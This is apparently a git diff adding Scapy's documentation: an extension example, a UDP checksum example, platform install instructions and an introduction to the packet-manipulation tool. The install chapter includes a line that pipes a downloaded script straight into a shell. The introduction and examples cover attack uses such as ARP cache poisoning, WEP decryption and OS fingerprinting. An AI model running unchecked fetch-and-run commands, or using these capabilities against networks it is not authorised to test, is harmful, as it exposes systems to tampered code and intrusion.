+If you need to add some new protocols, new functions, anything, you can write it directly into Scapy source file. But this is not very convenient. Even if those modifications are to be integrated into Scapy, it can be more convenient to write them in a separate file.
+
+Once you've done that, you can launch Scapy and import your file, but this is still not very convenient. Another way to do that is to make your file executable and have it call the Scapy function named interact()::
+
+    #! /usr/bin/env python
+    
+    # Set log level to benefit from Scapy warnings
+    import logging
+    logging.getLogger("scapy").setLevel(1)
+    
+    from scapy.all import *
+    
+    class Test(Packet):
+        name = "Test packet"
+        fields_desc = [ ShortField("test1", 1),
+                        ShortField("test2", 2) ]
+    
+    def make_test(x,y):
+        return Ether()/IP()/Test(test1=x,test2=y)
+    
+    if __name__ == "__main__":
+        interact(mydict=globals(), mybanner="Test add-on v3.14")
+
+
+If you put the above listing in the test_interact.py file and make it executable, you'll get::
+
+    # ./test_interact.py 
+    Welcome to Scapy (0.9.17.109beta)
+    Test add-on v3.14
+    >>> make_test(42,666)
+    <Ether type=0x800 |<IP |<Test test1=42 test2=666 |>>>
+    
+
diff --git a/doc/scapy/functions.rst b/doc/scapy/functions.rst
new file mode 100644
index 0000000..836ff93
--- /dev/null
+++ b/doc/scapy/functions.rst
@@ -0,0 +1,34 @@
+***********************
+Calling Scapy functions
+***********************
+
+This section provides some examples that show how to benefit from Scapy
+functions in your own code.
+
+UDP checksum
+============
+
+The following example explains howto use the checksum() function to compute and
+UDP checksum manually. The following steps must be performed:
+
+1. compute the UDP pseudo header as described in RFC768
+2. build an UDP packet with Scapy with p[UDP].chksum=0
+3. call checksum() with the pseudo header and the UDP packet
+
+::
+
+  from scapy.all import *
+
+  # Get the UDP checksum computed by Scapy
+  packet = IP(dst="10.11.12.13", src="10.11.12.14")/UDP()/DNS()
+  packet = IP(raw(packet))  # Build packet (automatically done when sending)
+  checksum_scapy = packet[UDP].chksum
+
+  # Set the UDP checksum to 0 and compute the checksum 'manually'
+  packet = IP(dst="10.11.12.13", src="10.11.12.14")/UDP(chksum=0)/DNS()
+  packet_raw = raw(packet)
+  udp_raw = packet_raw[20:]
+  # in4_chksum is used to automatically build a pseudo-header
+  chksum = in4_chksum(socket.IPPROTO_UDP, packet[IP], udp_raw)  # For more infos, call "help(in4_chksum)"
+
+  assert(checksum_scapy == chksum)
diff --git a/doc/scapy/graphics/ATMT_HelloWorld.png b/doc/scapy/graphics/ATMT_HelloWorld.png
new file mode 100644
index 0000000..e5b5ddb
--- /dev/null
+++ b/doc/scapy/graphics/ATMT_HelloWorld.png
Binary files differ
diff --git a/doc/scapy/graphics/ATMT_TFTP_read.png b/doc/scapy/graphics/ATMT_TFTP_read.png
new file mode 100644
index 0000000..50621d9
--- /dev/null
+++ b/doc/scapy/graphics/ATMT_TFTP_read.png
Binary files differ
diff --git a/doc/scapy/graphics/command-ls.png b/doc/scapy/graphics/command-ls.png
new file mode 100644
index 0000000..3888117
--- /dev/null
+++ b/doc/scapy/graphics/command-ls.png
Binary files differ
diff --git a/doc/scapy/graphics/default-values-ip.pdf b/doc/scapy/graphics/default-values-ip.pdf
new file mode 100644
index 0000000..7b179ae
--- /dev/null
+++ b/doc/scapy/graphics/default-values-ip.pdf
Binary files differ
diff --git a/doc/scapy/graphics/default-values-ip.png b/doc/scapy/graphics/default-values-ip.png
new file mode 100644
index 0000000..098c57e
--- /dev/null
+++ b/doc/scapy/graphics/default-values-ip.png
Binary files differ
diff --git a/doc/scapy/graphics/fieldsmanagement.pdf b/doc/scapy/graphics/fieldsmanagement.pdf
new file mode 100644
index 0000000..1bc0245
--- /dev/null
+++ b/doc/scapy/graphics/fieldsmanagement.pdf
Binary files differ
diff --git a/doc/scapy/graphics/fieldsmanagement.png b/doc/scapy/graphics/fieldsmanagement.png
new file mode 100644
index 0000000..5fb7bc9
--- /dev/null
+++ b/doc/scapy/graphics/fieldsmanagement.png
Binary files differ
diff --git a/doc/scapy/graphics/graph_traceroute.png b/doc/scapy/graphics/graph_traceroute.png
new file mode 100644
index 0000000..2ad3329
--- /dev/null
+++ b/doc/scapy/graphics/graph_traceroute.png
Binary files differ
diff --git a/doc/scapy/graphics/ipid.png b/doc/scapy/graphics/ipid.png
new file mode 100644
index 0000000..e710047
--- /dev/null
+++ b/doc/scapy/graphics/ipid.png
Binary files differ
diff --git a/doc/scapy/graphics/isakmp_dump.png b/doc/scapy/graphics/isakmp_dump.png
new file mode 100644
index 0000000..790bb9d
--- /dev/null
+++ b/doc/scapy/graphics/isakmp_dump.png
Binary files differ
diff --git a/doc/scapy/graphics/scapy-concept.pdf b/doc/scapy/graphics/scapy-concept.pdf
new file mode 100644
index 0000000..9425f34
--- /dev/null
+++ b/doc/scapy/graphics/scapy-concept.pdf
Binary files differ
diff --git a/doc/scapy/graphics/scapy-concept.png b/doc/scapy/graphics/scapy-concept.png
new file mode 100644
index 0000000..8c6b667
--- /dev/null
+++ b/doc/scapy/graphics/scapy-concept.png
Binary files differ
diff --git a/doc/scapy/graphics/scapy-main-console.png b/doc/scapy/graphics/scapy-main-console.png
new file mode 100644
index 0000000..4b1c9e9
--- /dev/null
+++ b/doc/scapy/graphics/scapy-main-console.png
Binary files differ
diff --git a/doc/scapy/graphics/scapy-win-screenshot1.png b/doc/scapy/graphics/scapy-win-screenshot1.png
new file mode 100644
index 0000000..2429d98
--- /dev/null
+++ b/doc/scapy/graphics/scapy-win-screenshot1.png
Binary files differ
diff --git a/doc/scapy/graphics/scapy-win-screenshot2.png b/doc/scapy/graphics/scapy-win-screenshot2.png
new file mode 100644
index 0000000..2fef46b
--- /dev/null
+++ b/doc/scapy/graphics/scapy-win-screenshot2.png
Binary files differ
diff --git a/doc/scapy/graphics/scapy_logo.png b/doc/scapy/graphics/scapy_logo.png
new file mode 100644
index 0000000..5b8e9eb
--- /dev/null
+++ b/doc/scapy/graphics/scapy_logo.png
Binary files differ
diff --git a/doc/scapy/graphics/testing-taxonomy.png b/doc/scapy/graphics/testing-taxonomy.png
new file mode 100644
index 0000000..dd30417
--- /dev/null
+++ b/doc/scapy/graphics/testing-taxonomy.png
Binary files differ
diff --git a/doc/scapy/graphics/trace3d_1.png b/doc/scapy/graphics/trace3d_1.png
new file mode 100644
index 0000000..60750f0
--- /dev/null
+++ b/doc/scapy/graphics/trace3d_1.png
Binary files differ
diff --git a/doc/scapy/graphics/trace3d_2.png b/doc/scapy/graphics/trace3d_2.png
new file mode 100644
index 0000000..f2a4c4d
--- /dev/null
+++ b/doc/scapy/graphics/trace3d_2.png
Binary files differ
diff --git a/doc/scapy/index.rst b/doc/scapy/index.rst
new file mode 100644
index 0000000..d7af30b
--- /dev/null
+++ b/doc/scapy/index.rst
@@ -0,0 +1,33 @@
+.. Scapy documentation master file, created by sphinx-quickstart on Mon Sep  8 19:37:39 2008.
+   You can adapt this file completely to your liking, but it should at least
+   contain the root `toctree` directive.
+
+Welcome to Scapy's documentation!
+=================================
+
+.. image:: graphics/scapy_logo.png
+   :scale: 20
+   :align: center
+
+:Release: |version|
+:Date: |today|
+
+This document is under a `Creative Commons Attribution - Non-Commercial 
+- Share Alike 2.5 <http://creativecommons.org/licenses/by-nc-sa/2.5/>`_ license.
+
+.. toctree::
+   :maxdepth: 2
+   
+   introduction
+   installation
+   
+   usage
+   advanced_usage
+   extending
+   build_dissect
+   functions
+
+   troubleshooting
+   development
+   backmatter
+ 
diff --git a/doc/scapy/installation.rst b/doc/scapy/installation.rst
new file mode 100644
index 0000000..941db6c
--- /dev/null
+++ b/doc/scapy/installation.rst
@@ -0,0 +1,468 @@
+.. highlight:: sh
+
+*************************
+Download and Installation
+*************************
+
+Overview
+========
+
+ 0. Install `Python 2.7.X or 3.3+ <https://www.python.org/downloads/>`_.
+ 1. `Download and install Scapy. <#installing-scapy-v2-x>`_
+ 2. `Follow the platform specific instructions (depedencies) <#platform-specific-instructions>`_.
+ 3. (Optional): `Install additional software for special features <#optional-software-for-special-features>`_.
+ 4. Run Scapy with root privileges.
+ 
+Each of these steps can be done in a different way dependent on your platform and on the version of Scapy you want to use. 
+
+At the moment, there are two different versions of Scapy:
+
+* **Scapy v2.x**. The current up-to-date version. It consists of several files  packaged in the standard distutils way.
+  Scapy v2 <= 2.3.3 needs Python 2.5, Scapy v2 > 2.3.3 needs Python 2.7 or 3.3+.
+* **Scapy v1.x (deprecated)**. It does not support Python 3. It consists of only one file and works on Python 2.4, so it might be easier to install.
+  Moreover, your OS may already have a specially prepared packages or ports for it. Last version is v1.2.2.
+
+.. note::
+
+   In Scapy v2 use ``from scapy.all import *`` instead of ``from scapy import *``.
+
+
+Installing Scapy v2.x
+=====================
+
+The following steps describe how to install (or update) Scapy itself.
+Dependent on your platform, some additional libraries might have to be installed to make it actually work. 
+So please also have a look at the platform specific chapters on how to install those requirements.
+
+.. note::
+
+   The following steps apply to Unix-like operating systems (Linux, BSD, Mac OS X). 
+   For Windows, see the  `special chapter <#windows>`_ below.
+
+Make sure you have Python installed before you go on.
+
+Latest release
+--------------
+
+.. note::
+   To get the latest versions, with bugsfixes and new features, but maybe not as stable, see the `development version <#current-development-version>`_.
+
+Use pip::
+
+$ pip install scapy
+
+
+You can also download the `latest version <http://scapy.net>`_ to a temporary directory and install it in the standard `distutils <http://docs.python.org/inst/inst.html>`_ way::
+
+$ cd /tmp
+$ wget --trust-server-names scapy.net   # or wget -O scapy.zip scapy.net
+$ unzip scapy-x.x.x.zip
+$ cd scapy
+$ sudo python setup.py install
+ 
+Alternatively, you can execute the zip file::
+
+$ chmod +x scapy-x.x.x.zip
+$ sudo ./scapy-x.x.x.zip
+
+or::
+
+$ sudo sh scapy-x.x.x.zip
+
+or::
+
+$ mv scapy-x.x.x.zip /usr/local/bin/scapy
+$ sudo scapy
+
+or::
+
+$ chmod +x scapy-x.x.x.zip
+$ ./scapy-x.x.x.zip
+
+or download and run in one command::
+  
+$ sh <(curl -sL scapy.net)
+
+.. note::
+
+   To make a zip executable, some bytes have been added before the zip header.
+   Most zip programs handle this, but not all. If your zip program complains
+   about the zip file to be corrupted, either change it, or download a 
+   non-executable zip at https://github.com/secdev/scapy/archive/master.zip
+
+ 
+Current development version
+----------------------------
+
+.. index::
+   single: Git, repository
+
+If you always want the latest version with all new features and bugfixes, use Scapy's Git repository:
+
+1. Install the Git version control system. For example, on Debian/Ubuntu use::
+
+      $ sudo apt-get install git
+
+   or on OpenBSD:: 
+    
+      $ doas pkg_add git
+
+2. Check out a clone of Scapy's repository::
+    
+   $ git clone https://github.com/secdev/scapy
+    
+3. Install Scapy in the standard distutils way:: 
+    
+   $ cd scapy
+   $ sudo python setup.py install
+    
+Then you can always update to the latest version::
+
+   $ git pull
+   $ sudo python setup.py install
+
+.. note::
+
+   You can run scapy without installing it using the ``run_scapy`` (unix) or ``run_scapy.bat`` (Windows) script or running it directly from the executable zip file (see previous section).
+
+Installing Scapy v1.2 (Deprecated)
+==================================
+
+As Scapy v1 consists only of one single Python file, installation is easy:
+Just download the last version and run it with your Python interpreter::
+
+ $ wget https://raw.githubusercontent.com/secdev/scapy/v1.2.0.2/scapy.py
+ $ sudo python scapy.py
+
+Optional software for special features
+======================================
+
+For some special features you have to install more software. 
+Most of those softwares are installable via ``pip``.
+Here are the topics involved and some examples that you can use to try if your installation was successful.
+
+.. index::
+   single: plot()
+
+* Plotting. ``plot()`` needs `Matplotlib <https://matplotlib.org/>`_. It is installable via ``pip install matplotlib``
+ 
+  .. code-block:: python
+   
+     >>> p=sniff(count=50)
+     >>> p.plot(lambda x:len(x))
+ 
+* 2D graphics. ``psdump()`` and ``pdfdump()`` need `PyX <http://pyx.sourceforge.net/>`_ which in turn needs a LaTeX distribution: `texlive (Unix) <http://www.tug.org/texlive/>`_ or `MikTex (Windows) <https://miktex.org/>`_. For viewing the PDF and PS files interactively, you also need `Adobe Reader <http://www.adobe.com/products/reader/>`_ (``acroread``) and `gv <http://wwwthep.physik.uni-mainz.de/~plass/gv/>`_ (``gv``). 
+  
+  Note: PyX requires version 0.12 on Python 2.7. This means that on Python 2.7, it needs to be installed via ``pip install pyx==0.12``. Otherwise ``pip install pyx``
+  
+  .. code-block:: python
+   
+     >>> p=IP()/ICMP()
+     >>> p.pdfdump("test.pdf") 
+ 
+* Graphs. ``conversations()`` needs `Graphviz <http://www.graphviz.org/>`_ and `ImageMagick <http://www.imagemagick.org/>`_.
+ 
+  .. code-block:: python
+
+     >>> p=readpcap("myfile.pcap")
+     >>> p.conversations(type="jpg", target="> test.jpg")
+ 
+* 3D graphics. ``trace3D()`` needs `VPython <http://www.vpython.org/>`_.
+ 
+  .. code-block:: python
+
+     >>> a,u=traceroute(["www.python.org", "google.com","slashdot.org"])
+     >>> a.trace3D()
+
+.. index::
+   single: WEP, unwep()
+
+* WEP decryption. ``unwep()`` needs `cryptography <https://cryptography.io>`_. Example using a `Weplap test file <http://weplab.sourceforge.net/caps/weplab-64bit-AA-managed.pcap>`_:
+
+    Cryptography is installable via ``pip install cryptography``
+
+  .. code-block:: python
+
+     >>> enc=rdpcap("weplab-64bit-AA-managed.pcap")
+     >>> enc.show()
+     >>> enc[0]
+     >>> conf.wepkey="AA\x00\x00\x00"
+     >>> dec=Dot11PacketList(enc).toEthernet()
+     >>> dec.show()
+     >>> dec[0]
+ 
+* PKI operations and TLS decryption. `cryptography <https://cryptography.io>`_ is also needed.
+
+* Fingerprinting. ``nmap_fp()`` needs `Nmap <http://nmap.org>`_. You need an `old version <http://nmap.org/dist-old/>`_ (before v4.23) that still supports first generation fingerprinting.
+
+  .. code-block:: python 
+  
+     >>> load_module("nmap")
+     >>> nmap_fp("192.168.0.1")
+     Begin emission:
+     Finished to send 8 packets.
+     Received 19 packets, got 4 answers, remaining 4 packets
+     (0.88749999999999996, ['Draytek Vigor 2000 ISDN router'])
+
+* Queso is used withing the queso module: `queso-980922.tar.gz <http://www.packetstormsecurity.org/UNIX/scanners/queso-980922.tar.gz>`_. Extract the tar.gz file (e.g. using `7-Zip <http://www.7-zip.org/>`_) and put ``queso.conf`` into your Scapy directory
+
+.. index::
+   single: VOIP
+ 
+* VOIP. ``voip_play()`` needs `SoX <http://sox.sourceforge.net/>`_.
+
+Platform-specific instructions
+==============================
+
+Linux native
+------------
+
+Scapy can run natively on Linux, without libdnet and libpcap.
+
+* Install `Python 2.7 or 3.3+ <http://www.python.org>`_.
+* Install `tcpdump <http://www.tcpdump.org>`_ and make sure it is in the $PATH. (It's only used to compile BPF filters (``-ddd option``))
+* Make sure your kernel has Packet sockets selected (``CONFIG_PACKET``)
+* If your kernel is < 2.6, make sure that Socket filtering is selected ``CONFIG_FILTER``) 
+
+Debian/Ubuntu
+-------------
+
+Just use the standard packages::
+
+$ sudo apt-get install tcpdump graphviz imagemagick python-gnuplot python-cryptography python-pyx
+
+Scapy optionally uses python-cryptography v1.7 or later. It has not been packaged for ``apt`` in less recent OS versions (e.g. Debian Jessie). If you need the cryptography-related methods, you may install the library with:
+
+.. code-block:: text
+
+    # pip install cryptography
+
+Fedora
+------
+
+Here's how to install Scapy on Fedora 9:
+
+.. code-block:: text
+
+    # yum install git python-devel
+    # cd /tmp
+    # git clone https://github.com/secdev/scapy
+    # cd scapy
+    # python setup.py install
+    
+Some optional packages:
+
+.. code-block:: text
+
+    # yum install graphviz python-cryptography sox PyX gnuplot numpy
+    # cd /tmp
+    # wget http://heanet.dl.sourceforge.net/sourceforge/gnuplot-py/gnuplot-py-1.8.tar.gz
+    # tar xvfz gnuplot-py-1.8.tar.gz
+    # cd gnuplot-py-1.8
+    # python setup.py install
+
+
+Mac OS X
+--------
+
+On Mac OS X, Scapy does not work natively. You need to install Python bindings
+to use libdnet and libpcap. You can choose to install using either Homebrew or
+MacPorts. They both work fine, yet Homebrew is used to run unit tests with
+`Travis CI <https://travis-ci.org>`_. 
+
+
+Install using Homebrew
+^^^^^^^^^^^^^^^^^^^^^^
+
+1. Update Homebrew::
+
+   $ brew update
+
+2. Install Python bindings::
+
+
+   $ brew install --with-python libdnet
+   $ brew install https://raw.githubusercontent.com/secdev/scapy/master/.travis/pylibpcap.rb
+   $ sudo brew install --with-python libdnet
+   $ sudo brew install https://raw.githubusercontent.com/secdev/scapy/master/.travis/pylibpcap.rb
+
+
+Install using MacPorts
+^^^^^^^^^^^^^^^^^^^^^^
+
+1. Update MacPorts::
+
+   $ sudo port -d selfupdate
+
+2. Install Python bindings::
+
+   $ sudo port install py-libdnet py-pylibpcap
+
+
+OpenBSD
+-------
+
+Here's how to install Scapy on OpenBSD 5.9+
+
+.. code-block:: text
+
+ $ doas pkg_add py-libpcap py-libdnet git
+ $ cd /tmp
+ $ git clone http://github.com/secdev/scapy
+ $ cd scapy
+ $ doas python2.7 setup.py install
+
+
+Optional packages (OpenBSD only)
+^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+
+py-cryptography
+
+.. code-block:: text
+
+ # pkg_add py-cryptography
+
+gnuplot and its Python binding: 
+
+.. code-block:: text
+
+ # pkg_add gnuplot py-gnuplot
+
+Graphviz (large download, will install several GNOME libraries)
+
+.. code-block:: text
+
+ # pkg_add graphviz
+
+   
+ImageMagick (takes long to compile)
+
+.. code-block:: text
+
+ # cd /tmp
+ # ftp ftp://ftp.openbsd.org/pub/OpenBSD/4.3/ports.tar.gz 
+ # cd /usr
+ # tar xvfz /tmp/ports.tar.gz 
+ # cd /usr/ports/graphics/ImageMagick/
+ # make install
+
+PyX (very large download, will install texlive etc.)
+
+.. code-block:: text
+
+ # pkg_add py-pyx
+
+/etc/ethertypes
+
+.. code-block:: text
+
+ # wget http://git.netfilter.org/ebtables/plain/ethertypes -O /etc/ethertypes
+
+python-bz2 (for UTscapy)
+
+.. code-block:: text
+
+ # pkg_add python-bz2    
+
+.. _windows_installation:
+
+Windows
+-------
+
+.. sectionauthor:: Dirk Loss <mail at dirk-loss.de>
+
+Scapy is primarily being developed for Unix-like systems and works best on those platforms. But the latest version of Scapy supports Windows out-of-the-box. So you can use nearly all of Scapy's features on your Windows machine as well.
+
+.. note::
+   If you update from Scapy-win v1.2.0.2 to Scapy v2 remember to use ``from scapy.all import *`` instead of ``from scapy import *``.
+
+.. image:: graphics/scapy-win-screenshot1.png
+   :scale: 80
+   :align: center
+
+You need the following software packages in order to install Scapy on Windows:
+
+  * `Python <http://www.python.org>`_: `Python 2.7.X or 3.3+ <https://www.python.org/downloads/>`_. After installation, add the Python installation directory and its \Scripts subdirectory to your PATH. Depending on your Python version, the defaults would be ``C:\Python27`` and ``C:\Python27\Scripts`` respectively.
+  * `Npcap <https://nmap.org/npcap/>`_: `the latest version <https://nmap.org/npcap/#download>`_. Default values are recommanded. Scapy will also work with Winpcap.
+  * `Scapy <http://www.secdev.org/projects/scapy/>`_: `latest development version <https://github.com/secdev/scapy/archive/master.zip>`_ from the `Git repository <https://github.com/secdev/scapy>`_. Unzip the archive, open a command prompt in that directory and run "python setup.py install". 
+
+Just download the files and run the setup program. Choosing the default installation options should be safe.
+
+For your convenience direct links are given to the version that is supported (Python 2.7 and 3.3+). If these links do not work or if you are using a different Python version (which will surely not work), just visit the homepage of the respective package and look for a Windows binary. As a last resort, search the web for the filename.
+
+After all packages are installed, open a command prompt (cmd.exe) and run Scapy by typing ``scapy``. If you have set the PATH correctly, this will find a little batch file in your ``C:\Python27\Scripts`` directory and instruct the Python interpreter to load Scapy.
+
+If really nothing seems to work, consider skipping the Windows version and using Scapy from a Linux Live CD -- either in a virtual machine on your Windows host or by booting from CDROM: An older version of Scapy is already included in grml and BackTrack for example. While using the Live CD you can easily upgrade to the latest Scapy version by typing ``cd /tmp && wget scapy.net``.
+
+Screenshot
+^^^^^^^^^^
+
+.. image:: graphics/scapy-win-screenshot2.png
+   :scale: 80
+   :align: center
+
+Known bugs
+^^^^^^^^^^
+
+ * You may not be able to capture WLAN traffic on Windows. Reasons are explained on the Wireshark wiki and in the WinPcap FAQ. Try switching off promiscuous mode with ``conf.sniff_promisc=False``.
+ * Packets sometimes cannot be sent to localhost (or local IP addresses on your own host).
+ 
+Winpcap/Npcap conflicts
+^^^^^^^^^^^^^^^^^^^^^^^
+
+As Winpcap is becoming old, it's recommanded to use Npcap instead. Npcap is part of the Nmap project.
+
+1. If you get the message 'Winpcap is installed over Npcap.' it means that you have installed both winpcap and npcap versions, which isn't recommanded.
+
+You may uninstall winpcap from your Program Files, then you will need to remove:
+ * C:/Windows/System32/wpcap.dll
+ * C:/Windows/System32/Packet.dll
+
+To use npcap instead.
+
+2. If you get the message 'The installed Windump version does not work with Npcap' it means that you have installed an old version of Windump.
+Download the correct one on https://github.com/hsluoyz/WinDump/releases
+
+Build the documentation offline
+===============================
+The Scapy project's documentation is written using reStructuredText (files \*.rst) and can be built using
+the `Sphinx <http://www.sphinx-doc.org/>`_ python library. The official online version is available
+on `readthedocs <http://scapy.readthedocs.io/>`_.
+
+HTML version
+------------
+The instructions to build the HTML version are: ::
+
+   (activate a virtualenv)
+   pip install sphinx
+   cd doc/scapy
+   make html
+
+Or on windows, simply run ``BuildDoc.bat``
+
+You can now open the resulting HTML file ``_build/html/index.html`` in your favorite web browser.
+
+To use the ReadTheDocs' template, you will have to install the corresponding theme with: ::
+
+   pip install sphinx_rtd_theme
+
+If installed, it will be automatically used, but you may disable it by setting ``auto_rtd`` to ``False`` in ``doc/scapy/conf.py``
+
+UML diagram
+-----------
+Using ``pyreverse`` you can build an UML representation of the Scapy source code's object hierarchy. Here is an
+example on how to build the inheritence graph for the Fields objects : ::
+
+   (activate a virtualenv)
+   pip install pylint
+   cd scapy/
+   pyreverse -o png -p fields scapy/fields.py
+
+This will generate a ``classes_fields.png`` picture containing the inheritance hierarchy. Note that you can provide as many
+modules or packages as you want, but the result will quickly get unreadable.
+
+To see the dependencies between the DHCP layer and the ansmachine module, you can run: ::
+
+   pyreverse -o png -p dhcp_ans scapy/ansmachine.py scapy/layers/dhcp.py scapy/packet.py
+
+In this case, Pyreverse will also generate a ``packages_dhcp_ans.png`` showing the link between the different python modules provided.
diff --git a/doc/scapy/introduction.rst b/doc/scapy/introduction.rst
new file mode 100644
index 0000000..1f8c00e
--- /dev/null
+++ b/doc/scapy/introduction.rst
@@ -0,0 +1,212 @@
+************
+Introduction
+************
+
+.. sectionauthor:: Philippe Biondi <phil at secdev.org>
+
+About Scapy
+===========
+Scapy is a Python program that enables the user to send, sniff and dissect and forge network packets. This capability allows construction of tools that can probe, scan or attack networks.
+
+In other words, Scapy is a powerful interactive packet manipulation program. 
+It is able to forge or decode packets of a wide number of protocols,
+send them on the wire, capture them, match requests and replies, and 
+much more. Scapy can easily handle most classical tasks like scanning,
+tracerouting, probing, unit tests, attacks or network discovery. It can replace hping, arpspoof, arp-sk, arping, p0f and even some parts of Nmap, tcpdump, and tshark). 
+
+.. image:: graphics/testing-taxonomy.*
+   :scale: 50
+    
+Scapy also performs very well on a lot of other
+specific tasks that most other tools can't handle, like sending invalid frames,
+injecting your own 802.11 frames, combining techniques 
+(VLAN hopping+ARP cache poisoning, VOIP decoding on WEP encrypted channel, ...), etc. 
+
+The idea is simple. Scapy mainly does two things: sending packets and receiving answers. You define a set of packets, it sends them, receives answers, matches requests with answers and returns a list of packet couples (request, answer) and a list of unmatched packets. This has the big advantage over tools like Nmap or hping that an answer is not reduced to (open/closed/filtered), but is the whole packet.
+
+On top of this can be build more high level functions, for example one that does traceroutes and give as a result only the start TTL of the request and the source IP of the answer. One that pings a whole network and gives the list of machines answering. One that does a portscan and returns a LaTeX report.
+
+
+What makes Scapy so special
+===========================
+
+First, with most other networking tools, you won't build something the author did not imagine. These tools have been built for a specific goal and can't deviate much from it. For example, an ARP cache poisoning program won't let you use double 802.1q encapsulation. Or try to find a program that can send, say, an ICMP packet with padding (I said *padding*, not *payload*, see?). In fact, each time you have a new need, you have to build a new tool.
+
+Second, they usually confuse decoding and interpreting. Machines are good at decoding and can help human beings with that. Interpretation is reserved to human beings. Some programs try to mimic this behaviour. For instance they say "*this port is open*" instead of "*I received a SYN-ACK*". Sometimes they are right. Sometimes not. It's easier for beginners, but when you know what you're doing, you keep on trying to deduce what really happened from the program's interpretation to make your own, which is hard because you lost a big amount of information. And you often end up using ``tcpdump -xX`` to decode and interpret what the tool missed.
+
+Third, even programs which only decode do not give you all the information they received. The network's vision they give you is the one their author thought was sufficient. But it is not complete, and you have a bias. For instance, do you know a tool that reports the Ethernet padding?
+
+Scapy tries to overcome those problems. It enables you to build exactly the packets you want. Even if I think stacking a 802.1q layer on top of TCP has no sense, it may have some for somebody else working on some product I don't know. Scapy has a flexible model that tries to avoid such arbitrary limits. You're free to put any value you want in any field you want, and stack them like you want. You're an adult after all.
+
+In fact, it's like building a new tool each time, but instead of dealing with a hundred line C program, you only write 2 lines of Scapy.
+
+After a probe (scan, traceroute, etc.) Scapy always gives you the full decoded packets from the probe, before any interpretation. That means that you can probe once and interpret many times, ask for a traceroute and look at the padding for instance.
+
+Fast packet design
+------------------
+
+Other tools stick to the **program-that-you-run-from-a-shell** paradigm.
+The result is an awful syntax to describe a packet. For these tools, the 
+solution adopted uses a higher but less powerful description, in the form of 
+scenarios imagined by the tool's author. As an example, only the IP address must 
+be given to a port scanner to trigger the **port scanning** scenario. Even
+if the scenario is tweaked a bit, you still are stuck to a port scan.
+
+Scapy's paradigm is to propose a Domain Specific Language (DSL) that 
+enables a powerful and fast description of any kind of packet. Using the Python 
+syntax and a Python interpreter as the DSL syntax and interpreter has many 
+advantages: there is no need to write a separate interpreter, users don't need 
+to learn yet another language and they benefit from a complete, concise 
+and very powerful language.
+
+Scapy enables the user to describe a packet or set of packets as layers that are
+stacked one upon another. Fields of each layer have useful default values that 
+can be overloaded. Scapy does not oblige the user to use predetermined methods 
+or templates. This alleviates the requirement of writing a new tool each time a 
+different scenario is required. In C, it may take an average of 60 lines to 
+describe a packet. With Scapy, the packets to be sent may be described in only a
+single line with another line to print the result. 90\% of the network probing 
+tools can be rewritten in 2 lines of Scapy.
+
+Probe once, interpret many
+--------------------------
+
+Network discovery is blackbox testing. When probing a network, many stimuli are 
+sent while only a few of them are answered. If the right stimuli are 
+chosen, the desired information may be obtained by the responses or the lack of 
+responses. Unlike many tools, Scapy gives all the information, i.e. all the 
+stimuli sent and all the responses received. Examination of this data will give 
+the user the desired information. When the dataset is small, the user can just 
+dig for it. In other cases, the interpretation of the data will depend on the 
+point of view taken. Most tools choose the viewpoint and discard all the data 
+not related to that point of view. Because Scapy gives the complete raw data, 
+that data may be used many times allowing the viewpoint to evolve during 
+analysis. For example, a TCP port scan may be probed and the data visualized as 
+the result of the port scan. The data could then also be visualized with respect
+to the TTL of response packet. A new probe need not be initiated to adjust the 
+viewpoint of the data.
+
+.. image:: graphics/scapy-concept.*
+   :scale: 80
+
+Scapy decodes, it does not interpret
+------------------------------------
+
+A common problem with network probing tools is they try to interpret the answers
+received instead of only decoding and giving facts. Reporting something like 
+**Received a TCP Reset on port 80** is not subject to interpretation errors. 
+Reporting **Port 80 is closed** is an interpretation that may be right most 
+of the time but wrong in some specific contexts the tool's author did not 
+imagine. For instance, some scanners tend to report a filtered TCP port when 
+they receive an ICMP destination unreachable packet. This may be right, but in 
+some cases it means the packet was not filtered by the firewall but rather there
+was no host to forward the packet to.
+
+Interpreting results can help users that don't know what a port scan is but 
+it can also make more harm than good, as it injects bias into the results. What 
+can tend to happen is that so that they can do the interpretation themselves, 
+knowledgeable users will try to reverse engineer the tool's interpretation to 
+derive the facts that triggered that interpretation. Unfortunately much 
+information is lost in this operation.
+
+
+
+
+Quick demo
+==========
+
+First, we play a bit and create four IP packets at once. Let's see how it works. We first instantiate the IP class. Then, we instantiate it again and we provide a destination that is worth four IP addresses (/30 gives the netmask). Using a Python idiom, we develop this implicit packet in a set of explicit packets. Then, we quit the interpreter. As we provided a session file, the variables we were working on are saved, then reloaded:: 
+
+    # ./scapy.py -s mysession
+    New session [mysession]
+    Welcome to Scapy (0.9.17.108beta)
+    >>> IP()
+    <IP |>
+    >>> target="www.target.com"
+    >>> target="www.target.com/30"
+    >>> ip=IP(dst=target)
+    >>> ip
+    <IP dst=<Net www.target.com/30> |>
+    >>> [p for p in ip]
+    [<IP dst=207.171.175.28 |>, <IP dst=207.171.175.29 |>, 
+     <IP dst=207.171.175.30 |>, <IP dst=207.171.175.31 |>]
+    >>> ^D
+    
+::
+    
+    # scapy -s mysession 
+    Using session [mysession]
+    Welcome to Scapy (0.9.17.108beta)
+    >>> ip
+    <IP dst=<Net www.target.com/30> |>
+
+Now, let's manipulate some packets::
+
+    >>> IP()
+    <IP |>
+    >>> a=IP(dst="172.16.1.40")
+    >>> a
+    <IP dst=172.16.1.40 |>
+    >>> a.dst
+    '172.16.1.40'
+    >>> a.ttl
+    64
+    
+Let's say I want a broadcast MAC address, and IP payload to ketchup.com 
+and to mayo.com, TTL value from 1 to 9, and an UDP payload::
+ 
+    >>> Ether(dst="ff:ff:ff:ff:ff:ff")
+          /IP(dst=["ketchup.com","mayo.com"],ttl=(1,9)) 
+          /UDP() 
+
+We have 18 packets defined in 1 line (1 implicit packet) 
+
+Sensible default values
+-----------------------
+
+Scapy tries to use sensible default values for all packet fields.
+If not overridden,
+
+* IP source is chosen according to destination and routing table 
+* Checksum is computed 
+* Source MAC is chosen according to the output interface 
+* Ethernet type and IP protocol are determined by the upper layer 
+
+.. image:: graphics/default-values-ip.png
+   :scale: 60
+
+Other fields’ default values are chosen to be the most useful ones: 
+
+* TCP source port is 20, destination port is 80. 
+* UDP source and destination ports are 53. 
+* ICMP type is echo request. 
+
+
+Learning Python
+===============
+
+Scapy uses the Python interpreter as a command board. That means that you can directly use the Python language (assign variables, use loops, define functions, etc.)
+
